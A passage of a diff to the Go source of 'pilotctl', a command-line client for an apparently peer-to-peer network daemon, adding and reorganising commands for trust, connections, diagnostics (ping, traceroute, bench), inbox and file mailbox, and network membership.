err) + } + + d := connectDriver() + defer d.Close() + + _, err = d.RevokeTrust(uint32(nodeID)) + if err != nil { + fatalCode("connection_failed", "untrust: %v", err) + } + outputOK(map[string]interface{}{"node_id": nodeID}) +} + +func cmdPending() { + d := connectDriver() + defer d.Close() + + result, err := d.PendingHandshakes() + if err != nil { + fatalCode("connection_failed", "pending: %v", err) + } + + pending, ok := result["pending"].([]interface{}) + if !ok { + pending = []interface{}{} + } + + if jsonOutput { + output(map[string]interface{}{"pending": pending}) + return + } + + if len(pending) == 0 { + fmt.Println("no pending handshake requests") + fmt.Println(" requests appear here when another node sends: pilotctl handshake ") + return + } + + fmt.Printf("%-10s %-40s %s\n", "NODE ID", "JUSTIFICATION", "RECEIVED") + for _, p := range pending { + req := p.(map[string]interface{}) + nodeID := int(req["node_id"].(float64)) + justification, _ := req["justification"].(string) + receivedAt := int64(req["received_at"].(float64)) + t := time.Unix(receivedAt, 0) + fmt.Printf("%-10d %-40s %s\n", nodeID, justification, t.Format("2006-01-02 15:04:05")) + } +} + +func cmdTrust() { + d := connectDriver() + defer d.Close() + + result, err := d.TrustedPeers() + if err != nil { + fatalCode("connection_failed", "trust: %v", err) + } + + trusted, ok := result["trusted"].([]interface{}) + if !ok { + trusted = []interface{}{} + } + + if jsonOutput { + output(map[string]interface{}{"trusted": trusted}) + return + } + + if len(trusted) == 0 { + fmt.Println("no trusted peers") + fmt.Println(" establish trust: pilotctl handshake \"reason\"") + return + } + + fmt.Printf("%-10s %-10s %-10s %s\n", "NODE ID", "MUTUAL", "NETWORK", "APPROVED AT") + for _, t := range trusted { + rec := t.(map[string]interface{}) + nodeID := int(rec["node_id"].(float64)) + mutual := false + if m, ok := rec["mutual"].(bool); ok { + mutual = m + } + network := uint16(0) + if n, ok := rec["network"].(float64); ok { + network = uint16(n) + } + approvedAt := int64(rec["approved_at"].(float64)) + at := time.Unix(approvedAt, 0) + + mutualStr := "no" + if mutual { + mutualStr = "yes" + } + netStr := "-" + if network > 0 { + netStr = fmt.Sprintf("%d", network) + } + fmt.Printf("%-10d %-10s %-10s %s\n", nodeID, mutualStr, netStr, at.Format("2006-01-02 15:04:05")) + } +} + +// ===================== MANAGEMENT ===================== + +func cmdConnections() { + d := connectDriver() + defer d.Close() + + info, err := d.Info() + if err != nil { + fatalCode("connection_failed", "info: %v", err) + } + + connList, ok := info["conn_list"].([]interface{}) + if !ok { + connList = []interface{}{} + } + + if jsonOutput { + output(map[string]interface{}{ "connections": connList, "total": len(connList), }) return } - if len(connList) == 0 { - fmt.Println("no active connections") - fmt.Println(" connect to a peer: pilotctl connect --message \"hello\"") - return + if len(connList) == 0 { + fmt.Println("no active connections") + fmt.Println(" connect to a peer: pilotctl connect --message \"hello\"") + return + } + + maxDisplay := 50 + fmt.Printf("Active connections: %d\n\n", len(connList)) + fmt.Printf("%-4s %-6s %-22s %-6s %-11s %-8s %-8s %-8s %-6s %-6s %-8s %-8s\n", + "ID", "LOCAL", "REMOTE ADDR", "RPORT", "STATE", "CWND", "FLIGHT", "SRTT", "UNACK", "OOO", "PEERWIN", "RCVWIN") + displayed := 0 + for _, c := range connList { + if displayed >= maxDisplay { + fmt.Printf("\n... and %d more connections (showing first %d)\n", len(connList)-maxDisplay, maxDisplay) + break + } + displayed++ + conn := c.(map[string]interface{}) + peerWin := int(conn["peer_recv_win"].(float64)) + recvWin := int(conn["recv_win"].(float64)) + fmt.Printf("%-4d %-6d %-22s %-6d %-11s %-8s %-8s %-6.0fms %-6d %-6d %-8s %-8s\n", + int(conn["id"].(float64)), + int(conn["local_port"].(float64)), + conn["remote_addr"], + int(conn["remote_port"].(float64)), + conn["state"], + formatBytes(uint64(conn["cong_win"].(float64))), + formatBytes(uint64(conn["in_flight"].(float64))), + conn["srtt_ms"].(float64), + int(conn["unacked"].(float64)), + int(conn["ooo_buf"].(float64)), + formatBytes(uint64(peerWin)), + formatBytes(uint64(recvWin)), + ) + bytesSent := uint64(conn["bytes_sent"].(float64)) + bytesRecv := uint64(conn["bytes_recv"].(float64)) + segsSent := uint64(conn["segs_sent"].(float64)) + segsRecv := uint64(conn["segs_recv"].(float64)) + retx := uint64(conn["retransmits"].(float64)) + fastRetx := uint64(conn["fast_retx"].(float64)) + sackRecv := uint64(conn["sack_recv"].(float64)) + sackSent := uint64(conn["sack_sent"].(float64)) + dupAcks := uint64(conn["dup_acks"].(float64)) + fmt.Printf(" tx: %s (%d segs) rx: %s (%d segs) retx: %d fast-retx: %d sack: %d/%d dup-ack: %d\n", + formatBytes(bytesSent), segsSent, formatBytes(bytesRecv), segsRecv, + retx, fastRetx, sackSent, sackRecv, dupAcks) + } +} + +func cmdDisconnect(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl disconnect ") + } + connID, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + fatalCode("invalid_argument", "invalid connection ID: %v", err) + } + + d := connectDriver() + defer d.Close() + + if err := d.Disconnect(uint32(connID)); err != nil { + fatalCode("connection_failed", "disconnect: %v", err) + } + outputOK(map[string]interface{}{"conn_id": connID}) +} + +// ===================== DIAGNOSTICS ===================== + +func cmdInfo() { + d := connectDriver() + defer d.Close() + + info, err := d.Info() + if err != nil { + fatalCode("connection_failed", "info: %v", err) + } + + if jsonOutput { + output(info) + return + } + + // Human-readable + uptime := info["uptime_secs"].(float64) + hours := int(uptime) / 3600 + mins := (int(uptime) % 3600) / 60 + secs := int(uptime) % 60 + + bytesSent := uint64(info["bytes_sent"].(float64)) + bytesRecv := uint64(info["bytes_recv"].(float64)) + pktsSent := uint64(info["pkts_sent"].(float64)) + pktsRecv := uint64(info["pkts_recv"].(float64)) + + encryptEnabled := false + if e, ok := info["encrypt"].(bool); ok { + encryptEnabled = e + } + encryptedPeers := 0 + if ep, ok := info["encrypted_peers"].(float64); ok { + encryptedPeers = int(ep) + } + + fmt.Printf("Pilot Protocol Daemon\n") + if v, ok := info["version"].(string); ok && v != "" { + fmt.Printf(" Version: %s\n", v) + } + fmt.Printf(" Node ID: %d\n", int(info["node_id"].(float64))) + fmt.Printf(" Address: %s\n", info["address"]) + if hostname, ok := info["hostname"].(string); ok && hostname != "" { + fmt.Printf(" Hostname: %s\n", hostname) + } + fmt.Printf(" Uptime: %02d:%02d:%02d\n", hours, mins, secs) + fmt.Printf(" Connections: %d\n", int(info["connections"].(float64))) + fmt.Printf(" Ports: %d\n", int(info["ports"].(float64))) + fmt.Printf(" Peers: %d\n", int(info["peers"].(float64))) + authenticatedPeers := 0 + if ap, ok := info["authenticated_peers"].(float64); ok { + authenticatedPeers = int(ap) + } + if encryptEnabled { + fmt.Printf(" Encryption: enabled (X25519 + AES-256-GCM), %d/%d peers encrypted, %d authenticated\n", + encryptedPeers, int(info["peers"].(float64)), authenticatedPeers) + } else { + fmt.Printf(" Encryption: disabled\n") + } + hasIdentity := false + if id, ok := info["identity"].(bool); ok { + hasIdentity = id + } + if hasIdentity { + pubKey, _ := info["public_key"].(string) + fingerprint := pubKey + if len(fingerprint) > 16 { + fingerprint = fingerprint[:16] + "..." + } + fmt.Printf(" Identity: persistent (Ed25519 %s)\n", fingerprint) + } else { + fmt.Printf(" Identity: ephemeral (not persisted)\n") + } + if email, ok := info["email"].(string); ok && email != "" { + fmt.Printf(" Email: %s\n", email) + } + if nets, ok := info["networks"].([]interface{}); ok && len(nets) > 0 { + fmt.Printf(" Networks: %d\n", len(nets)) + for _, n := range nets { + nm, _ := n.(map[string]interface{}) + netID := int(nm["network_id"].(float64)) + addr, _ := nm["address"].(string) + fmt.Printf(" - network %d: %s\n", netID, addr) + } + } + fmt.Printf(" Traffic: %s sent / %s recv\n", formatBytes(bytesSent), formatBytes(bytesRecv)) + fmt.Printf(" Packets: %d sent / %d recv\n", pktsSent, pktsRecv) + + connList, ok := info["conn_list"].([]interface{}) + if ok && len(connList) > 0 { + maxDisplay := 50 + fmt.Printf("\nActive connections: %d\n", len(connList)) + fmt.Printf(" %-4s %-6s %-22s %-6s %-11s %-8s %-8s %-6s\n", + "ID", "LOCAL", "REMOTE ADDR", "RPORT", "STATE", "CWND", "FLIGHT", "SRTT") + displayed := 0 + for _, c := range connList { + if displayed >= maxDisplay { + fmt.Printf("\n ... and %d more connections (showing first %d)\n", len(connList)-maxDisplay, maxDisplay) + break + } + displayed++ + conn := c.(map[string]interface{}) + recoveryStr := "" + if inRec, ok := conn["in_recovery"].(bool); ok && inRec { + recoveryStr = " [RECOVERY]" + } + fmt.Printf(" %-4d %-6d %-22s %-6d %-11s %-8s %-8s %.0fms%s\n", + int(conn["id"].(float64)), + int(conn["local_port"].(float64)), + conn["remote_addr"], + int(conn["remote_port"].(float64)), + conn["state"], + formatBytes(uint64(conn["cong_win"].(float64))), + formatBytes(uint64(conn["in_flight"].(float64))), + conn["srtt_ms"].(float64), + recoveryStr, + ) + } + } +} + +func cmdHealth() { + d := connectDriver() + defer d.Close() + + health, err := d.Health() + if err != nil { + fatalCode("connection_failed", "health: %v", err) + } + + if jsonOutput { + output(health) + return + } + + uptime := int64(0) + if v, ok := health["uptime_seconds"].(float64); ok { + uptime = int64(v) + } + hours := uptime / 3600 + mins := (uptime % 3600) / 60 + secs := uptime % 60 + + fmt.Printf("Daemon Health\n") + fmt.Printf(" Status: %s\n", health["status"]) + fmt.Printf(" Uptime: %02d:%02d:%02d\n", hours, mins, secs) + fmt.Printf(" Connections: %d\n", int(health["connections"].(float64))) + fmt.Printf(" Peers: %d\n", int(health["peers"].(float64))) + fmt.Printf(" Bytes Sent: %s\n", formatBytes(uint64(health["bytes_sent"].(float64)))) + fmt.Printf(" Bytes Recv: %s\n", formatBytes(uint64(health["bytes_recv"].(float64)))) +} + +func cmdPeers(args []string) { + flags, _ := parseFlags(args) + search := flagString(flags, "search", "") + + d := connectDriver() + defer d.Close() + + info, err := d.Info() + if err != nil { + fatalCode("connection_failed", "info: %v", err) + } + + peerList, ok := info["peer_list"].([]interface{}) + if !ok { + peerList = []interface{}{} + } + + // Filter by search query + var filtered []interface{} + for _, p := range peerList { + if search == "" { + filtered = append(filtered, p) + continue + } + peer := p.(map[string]interface{}) + searchLower := strings.ToLower(search) + nodeIDStr := fmt.Sprintf("%d", int(peer["node_id"].(float64))) + endpoint, _ := peer["endpoint"].(string) + if strings.Contains(nodeIDStr, searchLower) || + strings.Contains(strings.ToLower(endpoint), searchLower) { + filtered = append(filtered, p) + } + } + + if jsonOutput { + output(map[string]interface{}{ + "peers": filtered, + "total": len(filtered), + }) + return + } + + if len(filtered) == 0 { + if search != "" { + fmt.Printf("no peers matching %q\n", search) + } else { + fmt.Println("no peers connected") + fmt.Println(" peers appear when you communicate with other nodes") + } + return + } + + maxDisplay := 50 + fmt.Printf("%-10s %-30s %-20s %s\n", "NODE ID", "ENDPOINT", "ENCRYPTED", "AUTH") + displayed := 0 + for _, p := range filtered { + if displayed >= maxDisplay { + fmt.Printf("\n... and %d more peers (showing first %d)\n", len(filtered)-maxDisplay, maxDisplay) + break + } + displayed++ + peer := p.(map[string]interface{}) + encrypted := false + if e, ok := peer["encrypted"].(bool); ok { + encrypted = e + } + authenticated := false + if a, ok := peer["authenticated"].(bool); ok { + authenticated = a + } + encStr := "no" + if encrypted { + encStr = "yes (AES-256-GCM)" + } + authStr := "no" + if authenticated { + authStr = "yes (Ed25519)" + } + fmt.Printf("%-10d %-30s %-20s %s\n", int(peer["node_id"].(float64)), peer["endpoint"], encStr, authStr) + } +} + +func cmdPing(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 1 { + fatalCode("invalid_argument", "usage: pilotctl ping [--count ] [--timeout ]") + } + + count := flagInt(flags, "count", 4) + timeout := flagDuration(flags, "timeout", 30*time.Second) + + d := connectDriver() + defer d.Close() + + target, err := parseAddrOrHostname(d, pos[0]) + if err != nil { + fatalCode("not_found", "%v", err) + } + + if !jsonOutput { + fmt.Printf("PING %s\n", target) + } + + var results []map[string]interface{} + deadline := time.After(timeout) + + for i := 0; i < count; i++ { + select { + case <-deadline: + if jsonOutput { + output(map[string]interface{}{ + "target": target.String(), + "results": results, + "timeout": true, + }) + } else { + fmt.Println("timeout") + } + return + default: + } + + start := time.Now() + conn, err := d.DialAddr(target, protocol.PortEcho) + if err != nil { + r := map[string]interface{}{"seq": i, "error": err.Error()} + results = append(results, r) + if !jsonOutput { + fmt.Printf("seq=%d error: %v\n", i, err) + } + time.Sleep(time.Second) + continue + } + + payload := fmt.Sprintf("ping-%d", i) + conn.Write([]byte(payload)) + + buf := make([]byte, 1024) + n, err := conn.Read(buf) + conn.Close() + + rtt := time.Since(start) + r := map[string]interface{}{ + "seq": i, + "rtt_ms": float64(rtt.Microseconds()) / 1000.0, + } + if err != nil { + r["error"] = err.Error() + if !jsonOutput { + fmt.Printf("seq=%d error: %v\n", i, err) + } + } else { + r["bytes"] = n + if !jsonOutput { + fmt.Printf("seq=%d bytes=%d time=%v\n", i, n, rtt) + } + } + results = append(results, r) + + if i < count-1 { + time.Sleep(time.Second) + } + } + + if jsonOutput { + output(map[string]interface{}{ + "target": target.String(), + "results": results, + "timeout": false, + }) + } +} + +func cmdTraceroute(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 1 { + fatalCode("invalid_argument", "usage: pilotctl traceroute
[--timeout ]") + } + + timeout := flagDuration(flags, "timeout", 30*time.Second) + + d := connectDriver() + defer d.Close() + + target, err := protocol.ParseAddr(pos[0]) + if err != nil { + fatalCode("invalid_argument", "parse address: %v", err) + } + + if !jsonOutput { + fmt.Printf("TRACEROUTE %s\n", target) + } + + start := time.Now() + connDone := make(chan *driver.Conn) + var dialErr error + go func() { + conn, err := d.DialAddr(target, protocol.PortEcho) + dialErr = err + connDone <- conn + }() + + var conn *driver.Conn + select { + case conn = <-connDone: + case <-time.After(timeout): + fatalCode("timeout", "dial timeout") + } + + setupTime := time.Since(start) + if dialErr != nil { + if jsonOutput { + output(map[string]interface{}{ + "target": target.String(), + "setup_ms": float64(setupTime.Microseconds()) / 1000.0, + "error": dialErr.Error(), + }) + } else { + fmt.Printf(" 1 %s connection failed: %v\n", target, dialErr) + } + return + } + + if !jsonOutput { + fmt.Printf(" 1 %s setup=%v\n", target, setupTime) + } + + var rttSamples []map[string]interface{} + for i := 0; i < 3; i++ { + pingStart := time.Now() + payload := fmt.Sprintf("trace-%d", i) + conn.Write([]byte(payload)) + + buf := make([]byte, 1024) + n, err := conn.Read(buf) + rtt := time.Since(pingStart) + + sample := map[string]interface{}{ + "rtt_ms": float64(rtt.Microseconds()) / 1000.0, + } + if err != nil { + sample["error"] = err.Error() + if !jsonOutput { + fmt.Printf(" rtt=%v error: %v\n", rtt, err) + } + } else { + sample["bytes"] = n + if !jsonOutput { + fmt.Printf(" rtt=%v bytes=%d\n", rtt, n) + } + } + rttSamples = append(rttSamples, sample) + } + conn.Close() + + if jsonOutput { + output(map[string]interface{}{ + "target": target.String(), + "setup_ms": float64(setupTime.Microseconds()) / 1000.0, + "rtt_samples": rttSamples, + }) + } else { + fmt.Printf("\nsetup includes: tunnel negotiation + SYN/ACK handshake\n") + fmt.Printf("rtt is: data round-trip over established connection\n") + } +} + +func cmdBench(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 1 { + fatalCode("invalid_argument", "usage: pilotctl bench [size_mb] [--timeout ]") + } + + timeout := flagDuration(flags, "timeout", 120*time.Second) + + d := connectDriver() + defer d.Close() + + target, err := parseAddrOrHostname(d, pos[0]) + if err != nil { + fatalCode("not_found", "%v", err) + } + + totalSize := 1024 * 1024 + if len(pos) > 1 { + sizeMB, err := strconv.ParseFloat(pos[1], 64) + if err != nil { + fatalCode("invalid_argument", "invalid size: %v", err) + } + totalSize = int(sizeMB * 1024 * 1024) + } + const chunkSize = 4096 + + if !jsonOutput { + fmt.Printf("BENCH %s — sending %s via echo port\n", target, formatBytes(uint64(totalSize))) + } + + conn, err := d.DialAddr(target, protocol.PortEcho) + if err != nil { + fatalHint("connection_failed", + fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), + "cannot connect to %s echo port", target) + } + defer conn.Close() + + var recvTotal int + recvDone := make(chan struct{}) + go func() { + defer close(recvDone) + buf := make([]byte, 65535) + for recvTotal < totalSize { + n, err := conn.Read(buf) + if err != nil { + return + } + recvTotal += n + } + }() + + chunk := make([]byte, chunkSize) + for i := range chunk { + chunk[i] = byte(i % 256) + } + + start := time.Now() + sent := 0 + for sent < totalSize { + remaining := totalSize - sent + writeSize := chunkSize + if remaining < writeSize { + writeSize = remaining + } + if _, err := conn.Write(chunk[:writeSize]); err != nil { + fatalCode("connection_failed", "write: %v", err) + } + sent += writeSize + } + sendDuration := time.Since(start) + + select { + case <-recvDone: + case <-time.After(timeout): + if !jsonOutput { + fmt.Printf("warning: receive timed out (got %s of %s)\n", + formatBytes(uint64(recvTotal)), formatBytes(uint64(totalSize))) + } + } + totalDuration := time.Since(start) + + sendThroughput := float64(totalSize) / sendDuration.Seconds() / 1024 / 1024 + totalThroughput := float64(totalSize) / totalDuration.Seconds() / 1024 / 1024 + + if jsonOutput { + output(map[string]interface{}{ + "target": target.String(), + "sent_bytes": sent, + "recv_bytes": recvTotal, + "send_duration_ms": float64(sendDuration.Milliseconds()), + "total_duration_ms": float64(totalDuration.Milliseconds()), + "send_mbps": sendThroughput, + "total_mbps": totalThroughput, + }) + } else { + fmt.Printf(" Sent: %s in %v (%.1f MB/s)\n", formatBytes(uint64(sent)), sendDuration.Round(time.Millisecond), sendThroughput) + fmt.Printf(" Echoed: %s in %v (%.1f MB/s round-trip)\n", formatBytes(uint64(recvTotal)), totalDuration.Round(time.Millisecond), totalThroughput) + } +} + +func cmdListen(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 1 { + fatalCode("invalid_argument", "usage: pilotctl listen [--count ] [--timeout ]") + } + + p, err := strconv.ParseUint(pos[0], 10, 16) + if err != nil { + fatalCode("invalid_argument", "invalid port %q: %v", pos[0], err) + } + port := uint16(p) + count := flagInt(flags, "count", 0) // 0 = infinite + timeout := flagDuration(flags, "timeout", 0) + + d := connectDriver() + defer d.Close() + + if !jsonOutput { + fmt.Fprintf(os.Stderr, "listening on port %d — waiting for datagrams...\n", port) + } + + var messages []map[string]interface{} + received := 0 + + var deadline <-chan time.Time + if timeout > 0 { + deadline = time.After(timeout) + } + + for { + if count > 0 && received >= count { + break + } + + dgCh := make(chan *driver.Datagram) + errCh := make(chan error) + go func() { + dg, err := d.RecvFrom() + if err != nil { + errCh <- err + return + } + dgCh <- dg + }() + + select { + case dg := <-dgCh: + if dg.DstPort == port { + received++ + msg := map[string]interface{}{ + "src_addr": dg.SrcAddr.String(), + "src_port": dg.SrcPort, + "data": string(dg.Data), + "bytes": len(dg.Data), + } + messages = append(messages, msg) + + if jsonOutput { + if count > 0 && received >= count { + break // will exit loop and print all + } + // Stream each message as NDJSON for unbounded + if count == 0 { + b, _ := json.Marshal(msg) + fmt.Println(string(b)) + } + } else { + fmt.Printf("[%s:%d] %s\n", dg.SrcAddr, dg.SrcPort, string(dg.Data)) + } + } + case err := <-errCh: + fatalCode("connection_failed", "recv: %v", err) + case <-deadline: + if jsonOutput && count > 0 { + output(map[string]interface{}{ + "messages": messages, + "timeout": true, + }) + } else if !jsonOutput { + fmt.Fprintln(os.Stderr, "timeout") + } + return + } + } + + if jsonOutput && count > 0 { + output(map[string]interface{}{ + "messages": messages, + "timeout": false, + }) + } +} + +func cmdBroadcast(args []string) { + fatalCode("unavailable", "broadcast is not available yet — custom networks are WIP") +} + +// ===================== MAILBOX ===================== + +// cmdReceived lists or clears files received via data exchange (port 1001). +// Files are saved to ~/.pilot/received/ by the daemon's built-in service. +func cmdReceived(args []string) { + flags, _ := parseFlags(args) + + home, err := os.UserHomeDir() + if err != nil { + fatalCode("internal", "cannot determine home directory") + } + dir := filepath.Join(home, ".pilot", "received") + + if flagBool(flags, "clear") { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + fatalCode("not_found", "no received files") + } + fatalCode("internal", "read directory: %v", err) + } + count := 0 + for _, e := range entries { + if e.IsDir() { + continue + } + os.Remove(filepath.Join(dir, e.Name())) + count++ + } + if jsonOutput { + outputOK(map[string]interface{}{"cleared": count}) + } else { + fmt.Printf("cleared %d received file(s)\n", count) + } + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + if jsonOutput { + output(map[string]interface{}{"files": []interface{}{}, "total": 0}) + } else { + fmt.Println("no received files") + fmt.Println(" files appear here when someone sends: pilotctl send-file ") + } + return + } + fatalCode("internal", "read directory: %v", err) + } + + var files []map[string]interface{} + for _, e := range entries { + if e.IsDir() { + continue + } + info, err := e.Info() + if err != nil { + continue + } + files = append(files, map[string]interface{}{ + "name": e.Name(), + "bytes": info.Size(), + "modified": info.ModTime().Format(time.RFC3339), + "path": filepath.Join(dir, e.Name()), + }) + } + + if jsonOutput { + output(map[string]interface{}{ + "files": files, + "total": len(files), + "dir": dir, + }) + return + } + + if len(files) == 0 { + fmt.Println("no received files") + fmt.Println(" files appear here when someone sends: pilotctl send-file ") + return + } + + fmt.Printf("Received files (%s):\n\n", dir) + fmt.Printf(" %-40s %-10s %s\n", "NAME", "SIZE", "RECEIVED") + for _, f := range files { + fmt.Printf(" %-40s %-10s %s\n", + f["name"], formatBytes(uint64(f["bytes"].(int64))), f["modified"]) + } + fmt.Printf("\ntotal: %d\n", len(files)) +} + +// cmdInbox lists or clears messages received via data exchange (port 1001). +// Messages are saved to ~/.pilot/inbox/ by the daemon's built-in service. +func cmdInbox(args []string) { + flags, _ := parseFlags(args) + + home, err := os.UserHomeDir() + if err != nil { + fatalCode("internal", "cannot determine home directory") + } + dir := filepath.Join(home, ".pilot", "inbox") + + if flagBool(flags, "clear") { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + fatalCode("not_found", "inbox is empty") + } + fatalCode("internal", "read directory: %v", err) + } + count := 0 + for _, e := range entries { + if e.IsDir() { + continue + } + os.Remove(filepath.Join(dir, e.Name())) + count++ + } + if jsonOutput { + outputOK(map[string]interface{}{"cleared": count}) + } else { + fmt.Printf("cleared %d message(s)\n", count) + } + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + if jsonOutput { + output(map[string]interface{}{"messages": []interface{}{}, "total": 0}) + } else { + fmt.Println("inbox is empty") + fmt.Println(" messages appear here when someone sends: pilotctl send-message --data \"hello\"") + } + return + } + fatalCode("internal", "read directory: %v", err) + } + + var messages []map[string]interface{} + for _, e := range entries { + if e.IsDir() { + continue + } + data, err := os.ReadFile(filepath.Join(dir, e.Name())) + if err != nil { + continue + } + var msg map[string]interface{} + if err := json.Unmarshal(data, &msg); err != nil { + continue + } + messages = append(messages, msg) + } + + if jsonOutput { + output(map[string]interface{}{ + "messages": messages, + "total": len(messages), + "dir": dir, + }) + return + } + + if len(messages) == 0 { + fmt.Println("inbox is empty") + fmt.Println(" messages appear here when someone sends: pilotctl send-message --data \"hello\"") + return + } + + fmt.Printf("Inbox (%d messages):\n\n", len(messages)) + for _, m := range messages { + msgType, _ := m["type"].(string) + from, _ := m["from"].(string) + ts, _ := m["received_at"].(string) + data, _ := m["data"].(string) + preview := data + if len(preview) > 80 { + preview = preview[:80] + "..." + } + fmt.Printf(" [%s] from %s type=%s\n", ts, from, msgType) + fmt.Printf(" %s\n", preview) + } + fmt.Printf("\nclear with: pilotctl inbox --clear\n") +} + +// --- Network commands --- + +func cmdNetworkList() { + d := connectDriver() + defer d.Close() + + result, err := d.NetworkList() + if err != nil { + fatalCode("connection_failed", "network list: %v", err) + } + if jsonOutput { + output(result) + return + } + nets, _ := result["networks"].([]interface{}) + if len(nets) == 0 { + fmt.Println("no networks") + return + } + fmt.Printf("%-8s %-30s %-10s %s\n", "ID", "NAME", "JOIN RULE", "MEMBERS") + for _, n := range nets { + nm, _ := n.(map[string]interface{}) + id := uint16(nm["id"].(float64)) + name, _ := nm["name"].(string) + rule, _ := nm["join_rule"].(string) + count := 0 + if members, ok := nm["members"].([]interface{}); ok { + count = len(members) + } else if mc, ok := nm["members"].(float64); ok { + count = int(mc) + } + fmt.Printf("%-8d %-30s %-10s %d\n", id, name, rule, count) + } +} + +func cmdNetworkJoin(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network join [--token TOKEN] [--node-id N]") + } + netID := parseUint16(args[0], "network_id") + flags, _ := parseFlags(args[1:]) + token := flagString(flags, "token", "") + nodeIDStr := flagString(flags, "node-id", "") + + // Admin path: --node-id joins a remote node directly via registry + if nodeIDStr != "" { + nodeID := parseNodeID(nodeIDStr) + adminToken := requireAdminToken() + rc := connectRegistry() + defer rc.Close() + + result, err := rc.JoinNetwork(nodeID, netID, token, 0, adminToken) + if err != nil { + fatalCode("connection_failed", "network join: %v", err) + } + if jsonOutput { + output(result) + } else { + fmt.Printf("joined node %d to network %d\n", nodeID, netID) + } + return + } + + d := connectDriver() + defer d.Close() + + result, err := d.NetworkJoin(netID, token) + if err != nil { + fatalCode("connection_failed", "network join: %v", err) + } + if jsonOutput { + output(result) + } else { + fmt.Printf("joined network %d\n", netID) + } +} + +func cmdNetworkLeave(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl network leave ") } + netID := parseUint16(args[0], "network_id") - maxDisplay := 50 - fmt.Printf("Active connections: %d\n\n", len(connList)) - fmt.Printf("%-4s %-6s %-22s %-6s %-11s %-8s %-8s %-8s %-6s %-6s %-8s %-8s\n", - "ID", "LOCAL", "REMOTE ADDR", "RPORT", "STATE", "CWND", "FLIGHT", "SRTT", "UNACK", "OOO", "PEERWIN", "RCVWIN") - displayed := 0 - for _, c := range connList { - if displayed >= maxDisplay { - fmt.Printf("\n... and %d more connections (showing first %d)\n", len(connList)-maxDisplay, maxDisplay) - break - } - displayed++ - conn := c.(map[string]interface{}) - peerWin := int(conn["peer_recv_win"].(float64)) - recvWin := int(conn["recv_win"].(float64)) - fmt.Printf("%-4d %-6d %-22s %-6d %-11s %-8s %-8s %-6.0fms %-6d %-6d %-8s %-8s\n", - int(conn["id"].(float64)), - int(conn["local_port"].(float64)), - conn["remote_addr"], - int(conn["remote_port"].(float64)), - conn["state"], - formatBytes(uint64(conn["cong_win"].(float64))), - formatBytes(uint64(conn["in_flight"].(float64))), - conn["srtt_ms"].(float64), - int(conn["unacked"].(float64)), - int(conn["ooo_buf"].(float64)), - formatBytes(uint64(peerWin)), - formatBytes(uint64(recvWin)), - ) - bytesSent := uint64(conn["bytes_sent"].(float64)) - bytesRecv := uint64(conn["bytes_recv"].(float64)) - segsSent := uint64(conn["segs_sent"].(float64)) - segsRecv := uint64(conn["segs_recv"].(float64)) - retx := uint64(conn["retransmits"].(float64)) - fastRetx := uint64(conn["fast_retx"].(float64)) - sackRecv := uint64(conn["sack_recv"].(float64)) - sackSent := uint64(conn["sack_sent"].(float64)) - dupAcks := uint64(conn["dup_acks"].(float64)) - fmt.Printf(" tx: %s (%d segs) rx: %s (%d segs) retx: %d fast-retx: %d sack: %d/%d dup-ack: %d\n", - formatBytes(bytesSent), segsSent, formatBytes(bytesRecv), segsRecv, - retx, fastRetx, sackSent, sackRecv, dupAcks) + d := connectDriver() + defer d.Close() + + result, err := d.NetworkLeave(netID) + if err != nil { + fatalCode("connection_failed", "network leave: %v", err) + } + if jsonOutput { + output(result) + } else { + fmt.Printf("left network %d\n", netID) } } -func cmdDisconnect(args []string) { +func cmdNetworkMembers(args []string) { if len(args) < 1 { - fatalCode("invalid_argument", "usage: pilotctl disconnect ") - } - connID, err := strconv.ParseUint(args[0], 10, 32) - if err != nil { - fatalCode("invalid_argument", "invalid connection ID: %v", err) + fatalCode("invalid_argument", "usage: pilotctl network members ") } + netID := parseUint16(args[0], "network_id") d := connectDriver() defer d.Close() - if err := d.Disconnect(uint32(connID)); err != nil { - fatalCode("connection_failed", "disconnect: %v", err) + result, err := d.NetworkMembers(netID) + if err != nil { + fatalCode("connection_failed", "network members: %v", err) + } + if jsonOutput { + output(result) + return + } + nodes, _ := result["nodes"].([]interface{}) + if len(nodes) == 0 { + fmt.Println("no members") + return + } + fmt.Printf("%-12s %-20s %-12s %-10s\n", "NODE ID", "HOSTNAME", "VERSION", "PUBLIC") + for _, n := range nodes { + nm, _ := n.(map[string]interface{}) + nodeID := uint32(nm["node_id"].(float64)) + hostname, _ := nm["hostname"].(string) + ver, _ := nm["version"].(string) + public := false + if p, ok := nm["public"].(bool); ok { + public = p + } + vis := "private" + if public { + vis = "public" + } + if hostname == "" { + hostname = "-" + } + if ver == "" { + ver = "-" + } + fmt.Printf("%-12d %-20s %-12s %-10s\n", nodeID, hostname, ver, vis) } - outputOK(map[string]interface{}{"conn_id": connID}) } -// ===================== DIAGNOSTICS ===================== +func cmdNetworkInvite(args []string) { + if len(args) < 2 { + fatalCode("invalid_argument", "usage: pilotctl network invite ") + } + netID := parseUint16(args[0], "network_id") + nodeID := parseNodeID(args[1]) -func cmdInfo() { d := connectDriver() defer d.Close() - info, err := d.Info() + result, err := d.NetworkInvite(netID, nodeID) if err != nil { - fatalCode("connection_failed", "info: %v", err) + fatalCode("connection_failed", "network invite: %v", err) + } + if jsonOutput { + output(result) + } else { + fmt.Printf("invited node %d to network %d\n", nodeID, netID) } +} + +func cmdNetworkInvites() { + d := connectDriver() + defer d.Close() + result, err := d.NetworkPollInvites() + if err != nil { + fatalCode("connection_failed", "network invites: %v", err) + } if jsonOutput { - output(info) + output(result) return } + invites, _ := result["invites"].([]interface{}) + if len(invites) == 0 { + fmt.Println("no pending invites") + return + } + fmt.Printf("%-12s %-12s %s\n", "NETWORK", "INVITER", "TIMESTAMP") + for _, inv := range invites { + im, _ := inv.(map[string]interface{}) + netID := 